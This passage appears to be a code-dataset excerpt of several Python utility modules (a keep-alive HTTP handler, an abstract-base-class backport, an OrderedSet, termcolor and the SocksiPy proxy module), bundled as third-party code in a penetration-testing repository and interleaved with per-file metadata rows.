debuglevel=0, strict=0, method=None): if method: # the httplib in python 2.3 uses the method arg httplib.HTTPResponse.__init__(self, sock, debuglevel, method) else: # 2.2 doesn't httplib.HTTPResponse.__init__(self, sock, debuglevel) self.fileno = sock.fileno self._method = method self._rbuf = '' self._rbufsize = 8096 self._handler = None # inserted by the handler later self._host = None # (same) self._url = None # (same) _raw_read = httplib.HTTPResponse.read def close_connection(self): self.close() self._handler._remove_connection(self._host, close=1) def info(self): return self.msg def geturl(self): return self._url def read(self, amt=None): # the _rbuf test is only in this first if for speed. It's not # logically necessary if self._rbuf and not amt is None: L = len(self._rbuf) if amt > L: amt -= L else: s = self._rbuf[:amt] self._rbuf = self._rbuf[amt:] return s s = self._rbuf + self._raw_read(amt) self._rbuf = '' return s def readline(self, limit=-1): data = "" i = self._rbuf.find('\n') while i < 0 and not (0 < limit <= len(self._rbuf)): new = self._raw_read(self._rbufsize) if not new: break i = new.find('\n') if i >= 0: i = i + len(self._rbuf) self._rbuf = self._rbuf + new if i < 0: i = len(self._rbuf) else: i = i+1 if 0 <= limit < len(self._rbuf): i = limit data, self._rbuf = self._rbuf[:i], self._rbuf[i:] return data def readlines(self, sizehint = 0): total = 0 list = [] while 1: line = self.readline() if not line: break list.append(line) total += len(line) if sizehint and total >= sizehint: break return list class HTTPConnection(httplib.HTTPConnection): # use the modified response class response_class = HTTPResponse _headers = None def clearheaders(self): self._headers = {} def putheader(self, header, value): """Send a request header line to the server. For example: h.putheader('Accept', 'text/html') """ if self.__state != _CS_REQ_STARTED: raise CannotSendHeader() self._headers[header] = value def endheaders(self): """Indicate that the last header line has been sent to the server.""" if self.__state == _CS_REQ_STARTED: self.__state = _CS_REQ_SENT else: raise CannotSendHeader() for header in ('Host', 'Accept-Encoding'): if header in self._headers: str = '%s: %s' % (header, self._headers[header]) self._output(str) del self._headers[header] for header, value in self._headers.items(): str = '%s: %s' % (header, value) self._output(str) self._send_output() def send(self, str): httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding)) ######################################################################### ##### TEST FUNCTIONS ######################################################################### def error_handler(url): global HANDLE_ERRORS orig = HANDLE_ERRORS keepalive_handler = HTTPHandler() opener = urllib2.build_opener(keepalive_handler) urllib2.install_opener(opener) pos = {0: 'off', 1: 'on'} for i in (0, 1): print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i) HANDLE_ERRORS = i try: fo = urllib2.urlopen(url) foo = fo.read() fo.close() try: status, reason = fo.status, fo.reason except AttributeError: status, reason = None, None except IOError, e: print " EXCEPTION: %s" % e raise else: print " status = %s, reason = %s" % (status, reason) HANDLE_ERRORS = orig hosts = keepalive_handler.open_connections() print "open connections:", ' '.join(hosts) keepalive_handler.close_all() def continuity(url): import md5 format = '%25s: %s' # first fetch the file with the normal http handler opener = urllib2.build_opener() urllib2.install_opener(opener) fo = urllib2.urlopen(url) foo = fo.read() fo.close() m = md5.new(foo) print format % ('normal urllib', m.hexdigest()) # now install the keepalive handler and try again opener = urllib2.build_opener(HTTPHandler()) urllib2.install_opener(opener) fo = urllib2.urlopen(url) foo = fo.read() fo.close() m = md5.new(foo) print format % ('keepalive read', m.hexdigest()) fo = urllib2.urlopen(url) foo = '' while 1: f = fo.readline() if f: foo = foo + f else: break fo.close() m = md5.new(foo) print format % ('keepalive readline', m.hexdigest()) def comp(N, url): print ' making %i connections to:\n %s' % (N, url) sys.stdout.write(' first using the normal urllib handlers') # first use normal opener opener = urllib2.build_opener() urllib2.install_opener(opener) t1 = fetch(N, url) print ' TIME: %.3f s' % t1 sys.stdout.write(' now using the keepalive handler ') # now install the keepalive handler and try again opener = urllib2.build_opener(HTTPHandler()) urllib2.install_opener(opener) t2 = fetch(N, url) print ' TIME: %.3f s' % t2 print ' improvement factor: %.2f' % (t1/t2, ) def fetch(N, url, delay=0): lens = [] starttime = time.time() for i in xrange(N): if delay and i > 0: time.sleep(delay) fo = urllib2.urlopen(url) foo = fo.read() fo.close() lens.append(len(foo)) diff = time.time() - starttime j = 0 for i in lens[1:]: j = j + 1 if not i == lens[0]: print "WARNING: inconsistent length on read %i: %i" % (j, i) return diff def test(url, N=10): print "checking error hander (do this on a non-200)" try: error_handler(url) except IOError, e: print "exiting - exception will prevent further tests" sys.exit() print print "performing continuity test (making sure stuff isn't corrupted)" continuity(url) print print "performing speed comparison" comp(N, url) if __name__ == '__main__': import time import sys try: N = int(sys.argv[1]) url = sys.argv[2] except: print "%s <integer> <url>" % sys.argv[0] else: test(url, N)
15,215
Python
.py
389
30.807198
85
0.596203
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,193
_abc.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/oset/_abc.py
#!/usr/bin/env python # -*- mode:python; tab-width: 2; coding: utf-8 -*- """Partially backported python ABC classes""" from __future__ import absolute_import import sys import types if sys.version_info > (2, 6): raise ImportError("Use native ABC classes istead of this one.") # Instance of old-style class class _C: pass _InstanceType = type(_C()) def abstractmethod(funcobj): """A decorator indicating abstract methods. Requires that the metaclass is ABCMeta or derived from it. A class that has a metaclass derived from ABCMeta cannot be instantiated unless all of its abstract methods are overridden. The abstract methods can be called using any of the normal 'super' call mechanisms. Usage: class C: __metaclass__ = ABCMeta @abstractmethod def my_abstract_method(self, ...): ... """ funcobj.__isabstractmethod__ = True return funcobj class ABCMeta(type): """Metaclass for defining Abstract Base Classes (ABCs). Use this metaclass to create an ABC. An ABC can be subclassed directly, and then acts as a mix-in class. You can also register unrelated concrete classes (even built-in classes) and unrelated ABCs as 'virtual subclasses' -- these and their descendants will be considered subclasses of the registering ABC by the built-in issubclass() function, but the registering ABC won't show up in their MRO (Method Resolution Order) nor will method implementations defined by the registering ABC be callable (not even via super()). """ # A global counter that is incremented each time a class is # registered as a virtual subclass of anything. It forces the # negative cache to be cleared before its next use. _abc_invalidation_counter = 0 def __new__(mcls, name, bases, namespace): cls = super(ABCMeta, mcls).__new__(mcls, name, bases, namespace) # Compute set of abstract method names abstracts = set(name for name, value in namespace.items() if getattr(value, "__isabstractmethod__", False)) for base in bases: for name in getattr(base, "__abstractmethods__", set()): value = getattr(cls, name, None) if getattr(value, "__isabstractmethod__", False): abstracts.add(name) cls.__abstractmethods__ = frozenset(abstracts) # Set up inheritance registry cls._abc_registry = set() cls._abc_cache = set() cls._abc_negative_cache = set() cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter return cls def register(cls, subclass): """Register a virtual subclass of an ABC.""" if not isinstance(subclass, (type, types.ClassType)): raise TypeError("Can only register classes") if issubclass(subclass, cls): return # Already a subclass # Subtle: test for cycles *after* testing for "already a subclass"; # this means we allow X.register(X) and interpret it as a no-op. if issubclass(cls, subclass): # This would create a cycle, which is bad for the algorithm below raise RuntimeError("Refusing to create an inheritance cycle") cls._abc_registry.add(subclass) ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache def _dump_registry(cls, file=None): """Debug helper to print the ABC registry.""" print >> file, "Class: %s.%s" % (cls.__module__, cls.__name__) print >> file, "Inv.counter: %s" % ABCMeta._abc_invalidation_counter for name in sorted(cls.__dict__.keys()): if name.startswith("_abc_"): value = getattr(cls, name) print >> file, "%s: %r" % (name, value) def __instancecheck__(cls, instance): """Override for isinstance(instance, cls).""" # Inline the cache checking when it's simple. subclass = getattr(instance, '__class__', None) if subclass in cls._abc_cache: return True subtype = type(instance) # Old-style instances if subtype is _InstanceType: subtype = subclass if subtype is subclass or subclass is None: if (cls._abc_negative_cache_version == ABCMeta._abc_invalidation_counter and subtype in cls._abc_negative_cache): return False # Fall back to the subclass check. return cls.__subclasscheck__(subtype) return (cls.__subclasscheck__(subclass) or cls.__subclasscheck__(subtype)) def __subclasscheck__(cls, subclass): """Override for issubclass(subclass, cls).""" # Check cache if subclass in cls._abc_cache: return True # Check negative cache; may have to invalidate if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: # Invalidate the negative cache cls._abc_negative_cache = set() cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter elif subclass in cls._abc_negative_cache: return False # Check the subclass hook ok = cls.__subclasshook__(subclass) if ok is not NotImplemented: assert isinstance(ok, bool) if ok: cls._abc_cache.add(subclass) else: cls._abc_negative_cache.add(subclass) return ok # Check if it's a direct subclass if cls in getattr(subclass, '__mro__', ()): cls._abc_cache.add(subclass) return True # Check if it's a subclass of a registered class (recursive) for rcls in cls._abc_registry: if issubclass(subclass, rcls): cls._abc_cache.add(subclass) return True # Check if it's a subclass of a subclass (recursive) for scls in cls.__subclasses__(): if issubclass(subclass, scls): cls._abc_cache.add(subclass) return True # No dice; update negative cache cls._abc_negative_cache.add(subclass) return False def _hasattr(C, attr): try: return any(attr in B.__dict__ for B in C.__mro__) except AttributeError: # Old-style class return hasattr(C, attr) class Sized: __metaclass__ = ABCMeta @abstractmethod def __len__(self): return 0 @classmethod def __subclasshook__(cls, C): if cls is Sized: if _hasattr(C, "__len__"): return True return NotImplemented class Container: __metaclass__ = ABCMeta @abstractmethod def __contains__(self, x): return False @classmethod def __subclasshook__(cls, C): if cls is Container: if _hasattr(C, "__contains__"): return True return NotImplemented class Iterable: __metaclass__ = ABCMeta @abstractmethod def __iter__(self): while False: yield None @classmethod def __subclasshook__(cls, C): if cls is Iterable: if _hasattr(C, "__iter__"): return True return NotImplemented Iterable.register(str) class Set(Sized, Iterable, Container): """A set is a finite, iterable container. This class provides concrete generic implementations of all methods except for __contains__, __iter__ and __len__. To override the comparisons (presumably for speed, as the semantics are fixed), all you have to do is redefine __le__ and then the other operations will automatically follow suit. """ def __le__(self, other): if not isinstance(other, Set): return NotImplemented if len(self) > len(other): return False for elem in self: if elem not in other: return False return True def __lt__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) < len(other) and self.__le__(other) def __gt__(self, other): if not isinstance(other, Set): return NotImplemented return other < self def __ge__(self, other): if not isinstance(other, Set): return NotImplemented return other <= self def __eq__(self, other): if not isinstance(other, Set): return NotImplemented return len(self) == len(other) and self.__le__(other) def __ne__(self, other): return not (self == other) @classmethod def _from_iterable(cls, it): '''Construct an instance of the class from any iterable input. Must override this method if the class constructor signature does not accept an iterable for an input. ''' return cls(it) def __and__(self, other): if not isinstance(other, Iterable): return NotImplemented return self._from_iterable(value for value in other if value in self) def isdisjoint(self, other): for value in other: if value in self: return False return True def __or__(self, other): if not isinstance(other, Iterable): return NotImplemented chain = (e for s in (self, other) for e in s) return self._from_iterable(chain) def __sub__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return self._from_iterable(value for value in self if value not in other) def __xor__(self, other): if not isinstance(other, Set): if not isinstance(other, Iterable): return NotImplemented other = self._from_iterable(other) return (self - other) | (other - self) # Sets are not hashable by default, but subclasses can change this __hash__ = None def _hash(self): """Compute the hash value of a set. Note that we don't define __hash__: not all sets are hashable. But if you define a hashable set type, its __hash__ should call this function. This must be compatible __eq__. All sets ought to compare equal if they contain the same elements, regardless of how they are implemented, and regardless of the order of the elements; so there's not much freedom for __eq__ or __hash__. We match the algorithm used by the built-in frozenset type. """ MAX = sys.maxint MASK = 2 * MAX + 1 n = len(self) h = 1927868237 * (n + 1) h &= MASK for x in self: hx = hash(x) h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 h &= MASK h = h * 69069 + 907133923 h &= MASK if h > MAX: h -= MASK + 1 if h == -1: h = 590923713 return h Set.register(frozenset) class MutableSet(Set): @abstractmethod def add(self, value): """Add an element.""" raise NotImplementedError @abstractmethod def discard(self, value): """Remove an element. Do not raise an exception if absent.""" raise NotImplementedError def remove(self, value): """Remove an element. If not a member, raise a KeyError.""" if value not in self: raise KeyError(value) self.discard(value) def pop(self): """Return the popped value. Raise KeyError if empty.""" it = iter(self) try: value = it.next() except StopIteration: raise KeyError self.discard(value) return value def clear(self): """This is slow (creates N new iterators!) but effective.""" try: while True: self.pop() except KeyError: pass def __ior__(self, it): for value in it: self.add(value) return self def __iand__(self, it): for value in (self - it): self.discard(value) return self def __ixor__(self, it): if not isinstance(it, Set): it = self._from_iterable(it) for value in it: if value in self: self.discard(value) else: self.add(value) return self def __isub__(self, it): for value in it: self.discard(value) return self MutableSet.register(set) class OrderedSet(MutableSet): def __init__(self, iterable=None): self.end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable def __len__(self): return len(self.map) def __contains__(self, key): return key in self.map def __getitem__(self, key): return list(self)[key] def add(self, key): if key not in self.map: end = self.end curr = end[PREV] curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] def discard(self, key): if key in self.map: key, prev, next = self.map.pop(key) prev[NEXT] = next next[PREV] = prev def __iter__(self): end = self.end curr = end[NEXT] while curr is not end: yield curr[KEY] curr = curr[NEXT] def __reversed__(self): end = self.end curr = end[PREV] while curr is not end: yield curr[KEY] curr = curr[PREV] def pop(self, last=True): if not self: raise KeyError('set is empty') key = reversed(self).next() if last else iter(self).next() self.discard(key) return key def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self)) def __eq__(self, other): if isinstance(other, OrderedSet): return len(self) == len(other) and list(self) == list(other) return set(self) == set(other) def __del__(self): if all([KEY, PREV, NEXT]): self.clear() # remove circular references if __name__ == '__main__': print(OrderedSet('abracadaba')) print(OrderedSet('simsalabim'))
14,740
Python
.py
388
28.770619
79
0.585039
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,194
pyoset.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/oset/pyoset.py
#!/usr/bin/env python # -*- mode:python; tab-width: 2; coding: utf-8 -*- """Partially backported python ABC classes""" from __future__ import absolute_import try: from collections import MutableSet except ImportError: # Running in Python <= 2.5 from ._abc import MutableSet KEY, PREV, NEXT = range(3) class OrderedSet(MutableSet): def __init__(self, iterable=None): self.end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable def __len__(self): return len(self.map) def __contains__(self, key): return key in self.map def __getitem__(self, key): return list(self)[key] def add(self, key): if key not in self.map: end = self.end curr = end[PREV] curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] def discard(self, key): if key in self.map: key, prev, next = self.map.pop(key) prev[NEXT] = next next[PREV] = prev def __iter__(self): end = self.end curr = end[NEXT] while curr is not end: yield curr[KEY] curr = curr[NEXT] def __reversed__(self): end = self.end curr = end[PREV] while curr is not end: yield curr[KEY] curr = curr[PREV] def pop(self, last=True): if not self: raise KeyError('set is empty') key = reversed(self).next() if last else iter(self).next() self.discard(key) return key def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self)) def __eq__(self, other): if isinstance(other, OrderedSet): return len(self) == len(other) and list(self) == list(other) return set(self) == set(other) def __del__(self): if all([KEY, PREV, NEXT]): self.clear() # remove circular references oset = OrderedSet
2,192
Python
.py
63
26.619048
78
0.541015
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,195
termcolor.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/termcolor/termcolor.py
# coding: utf-8 # Copyright (c) 2008-2011 Volvox Development Team # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # # Author: Konstantin Lepa <konstantin.lepa@gmail.com> """ANSII Color formatting for output in terminal.""" from __future__ import print_function import os __ALL__ = [ 'colored', 'cprint' ] VERSION = (1, 1, 0) ATTRIBUTES = dict( list(zip([ 'bold', 'dark', '', 'underline', 'blink', '', 'reverse', 'concealed' ], list(range(1, 9)) )) ) del ATTRIBUTES[''] HIGHLIGHTS = dict( list(zip([ 'on_grey', 'on_red', 'on_green', 'on_yellow', 'on_blue', 'on_magenta', 'on_cyan', 'on_white' ], list(range(40, 48)) )) ) COLORS = dict( list(zip([ 'grey', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', ], list(range(30, 38)) )) ) RESET = '\033[0m' def colored(text, color=None, on_color=None, attrs=None): """Colorize text. Available text colors: red, green, yellow, blue, magenta, cyan, white. Available text highlights: on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. Available attributes: bold, dark, underline, blink, reverse, concealed. Example: colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) colored('Hello, World!', 'green') """ if os.getenv('ANSI_COLORS_DISABLED') is None: fmt_str = '\033[%dm%s' if color is not None: text = fmt_str % (COLORS[color], text) if on_color is not None: text = fmt_str % (HIGHLIGHTS[on_color], text) if attrs is not None: for attr in attrs: text = fmt_str % (ATTRIBUTES[attr], text) text += RESET return text def cprint(text, color=None, on_color=None, attrs=None, **kwargs): """Print colorize text. It accepts arguments of print function. """ print((colored(text, color, on_color, attrs)), **kwargs) if __name__ == '__main__': print('Current terminal type: %s' % os.getenv('TERM')) print('Test basic colors:') cprint('Grey color', 'grey') cprint('Red color', 'red') cprint('Green color', 'green') cprint('Yellow color', 'yellow') cprint('Blue color', 'blue') cprint('Magenta color', 'magenta') cprint('Cyan color', 'cyan') cprint('White color', 'white') print(('-' * 78)) print('Test highlights:') cprint('On grey color', on_color='on_grey') cprint('On red color', on_color='on_red') cprint('On green color', on_color='on_green') cprint('On yellow color', on_color='on_yellow') cprint('On blue color', on_color='on_blue') cprint('On magenta color', on_color='on_magenta') cprint('On cyan color', on_color='on_cyan') cprint('On white color', color='grey', on_color='on_white') print('-' * 78) print('Test attributes:') cprint('Bold grey color', 'grey', attrs=['bold']) cprint('Dark red color', 'red', attrs=['dark']) cprint('Underline green color', 'green', attrs=['underline']) cprint('Blink yellow color', 'yellow', attrs=['blink']) cprint('Reversed blue color', 'blue', attrs=['reverse']) cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) cprint('Bold underline reverse cyan color', 'cyan', attrs=['bold', 'underline', 'reverse']) cprint('Dark blink concealed white color', 'white', attrs=['dark', 'blink', 'concealed']) print(('-' * 78)) print('Test mixing:') cprint('Underline red on grey color', 'red', 'on_grey', ['underline']) cprint('Reversed green on red color', 'green', 'on_red', ['reverse'])
5,044
Python
.py
137
29.781022
79
0.601723
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,196
socks.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/socks/socks.py
#!/usr/bin/env python """SocksiPy - Python SOCKS module. Version 1.00 Copyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. This module provides a standard socket-like interface for Python for tunneling connections through SOCKS proxies. """ """ Minor modifications made by Miroslav Stampar (http://sqlmap.org/) for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) for use in PyLoris (http://pyloris.sourceforge.net/) Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) mainly to merge bug fixes found in Sourceforge """ import socket import struct PROXY_TYPE_SOCKS4 = 1 PROXY_TYPE_SOCKS5 = 2 PROXY_TYPE_HTTP = 3 _defaultproxy = None _orgsocket = socket.socket _orgcreateconnection = socket.create_connection class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass class Socks5AuthError(ProxyError): pass class Socks5Error(ProxyError): pass class Socks4Error(ProxyError): pass class HTTPError(ProxyError): pass _generalerrors = ("success", "invalid data", "not connected", "not available", "bad proxy type", "bad input") _socks5errors = ("succeeded", "general SOCKS server failure", "connection not allowed by ruleset", "Network unreachable", "Host unreachable", "Connection refused", "TTL expired", "Command not supported", "Address type not supported", "Unknown error") _socks5autherrors = ("succeeded", "authentication is required", "all offered authentication methods were rejected", "unknown username or invalid password", "unknown error") _socks4errors = ("request granted", "request rejected or failed", "request rejected because SOCKS server cannot connect to identd on the client", "request rejected because the client program and identd report different user-ids", "unknown error") def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, unless explicitly changed. """ global _defaultproxy _defaultproxy = (proxytype, addr, port, rdns, username, password) def wrapmodule(module): """wrapmodule(module) Attempts to replace a module's socket library with a SOCKS socket. Must set a default proxy using setdefaultproxy(...) first. This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ if _defaultproxy != None: module.socket.socket = socksocket module.socket.create_connection = create_connection else: raise GeneralProxyError((4, "no proxy specified")) def unwrapmodule(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, you must specify family=AF_INET, type=SOCK_STREAM and proto=0. """ def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): _orgsocket.__init__(self, family, type, proto, _sock) if _defaultproxy != None: self.__proxy = _defaultproxy else: self.__proxy = (None, None, None, None, None, None) self.__proxysockname = None self.__proxypeername = None def __recvall(self, count): """__recvall(count) -> data Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. """ data = self.recv(count) while len(data) < count: d = self.recv(count-len(data)) if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) data = data + d return data def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets the proxy to be used. proxytype - The type of the proxy to be used. Three types are supported: PROXY_TYPE_SOCKS4 (including socks4a), PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS servers and 8080 for HTTP proxy servers. rdns - Should DNS queries be preformed on the remote side (rather than the local side). The default is True. Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. The default is no authentication. password - Password to authenticate with to the server. Only relevant when username is also provided. """ self.__proxy = (proxytype, addr, port, rdns, username, password) def __negotiatesocks5(self, destaddr, destport): """__negotiatesocks5(self,destaddr,destport) Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) if chosenauth[0:1] != chr(0x05).encode(): self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method if chosenauth[1:2] == chr(0x00).encode(): # No authentication is required pass elif chosenauth[1:2] == chr(0x02).encode(): # Okay, we need to perform a basic username/password # authentication. self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) authstat = self.__recvall(2) if authstat[0:1] != chr(0x01).encode(): # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) if authstat[1:2] != chr(0x00).encode(): # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1] == chr(0xFF).encode(): raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) # Now we can request the actual connection req = struct.pack('BBB', 0x05, 0x01, 0x00) # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) req = req + chr(0x01).encode() + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: # Resolve remotely ipaddr = None req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) req = req + chr(0x01).encode() + ipaddr req = req + struct.pack(">H", destport) self.sendall(req) # Get the response resp = self.__recvall(4) if resp[0:1] != chr(0x05).encode(): self.close() raise GeneralProxyError((1, _generalerrors[1])) elif resp[1:2] != chr(0x00).encode(): # Connection failed self.close() if ord(resp[1:2])<=8: raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) else: raise Socks5Error((9, _socks5errors[9])) # Get the bound address/port elif resp[3:4] == chr(0x01).encode(): boundaddr = self.__recvall(4) elif resp[3:4] == chr(0x03).encode(): resp = resp + self.recv(1) boundaddr = self.__recvall(ord(resp[4:5])) else: self.close() raise GeneralProxyError((1,_generalerrors[1])) boundport = struct.unpack(">H", self.__recvall(2))[0] self.__proxysockname = (boundaddr, boundport) if ipaddr != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport) def getproxysockname(self): """getsockname() -> address info Returns the bound IP address and port number at the proxy. """ return self.__proxysockname def getproxypeername(self): """getproxypeername() -> address info Returns the IP and port number of the proxy. """ return _orgsocket.getpeername(self) def getpeername(self): """getpeername() -> address info Returns the IP address and port number of the destination machine (note: getproxypeername returns the proxy) """ return self.__proxypeername def __negotiatesocks4(self,destaddr,destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(destaddr) except socket.error: # It's a DNS name. Check where it should be resolved. if self.__proxy[3]: ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) rmtrslv = True else: ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) # Construct the request packet req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr # The username parameter is considered userid for SOCKS4 if self.__proxy[4] != None: req = req + self.__proxy[4] req = req + chr(0x00).encode() # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv: req = req + destaddr + chr(0x00).encode() self.sendall(req) # Get the response from the server resp = self.__recvall(8) if resp[0:1] != chr(0x00).encode(): # Bad data self.close() raise GeneralProxyError((1,_generalerrors[1])) if resp[1:2] != chr(0x5A).encode(): # Server returned an error self.close() if ord(resp[1:2]) in (91, 92, 93): self.close() raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) else: raise Socks4Error((94, _socks4errors[4])) # Get the bound address/port self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) if rmtrslv != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport) def __negotiatehttp(self, destaddr, destport): """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. """ # If we need to resolve locally, we do this now if not self.__proxy[3]: addr = socket.gethostbyname(destaddr) else: addr = destaddr self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n".encode()) == -1: resp = resp + self.recv(1) # We just need the first line to check if the connection # was successful statusline = resp.splitlines()[0].split(" ".encode(), 2) if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): self.close() raise GeneralProxyError((1, _generalerrors[1])) try: statuscode = int(statusline[1]) except ValueError: self.close() raise GeneralProxyError((1, _generalerrors[1])) if statuscode != 200: self.close() raise HTTPError((statuscode, statusline[2])) self.__proxysockname = ("0.0.0.0", 0) self.__proxypeername = (addr, destport) 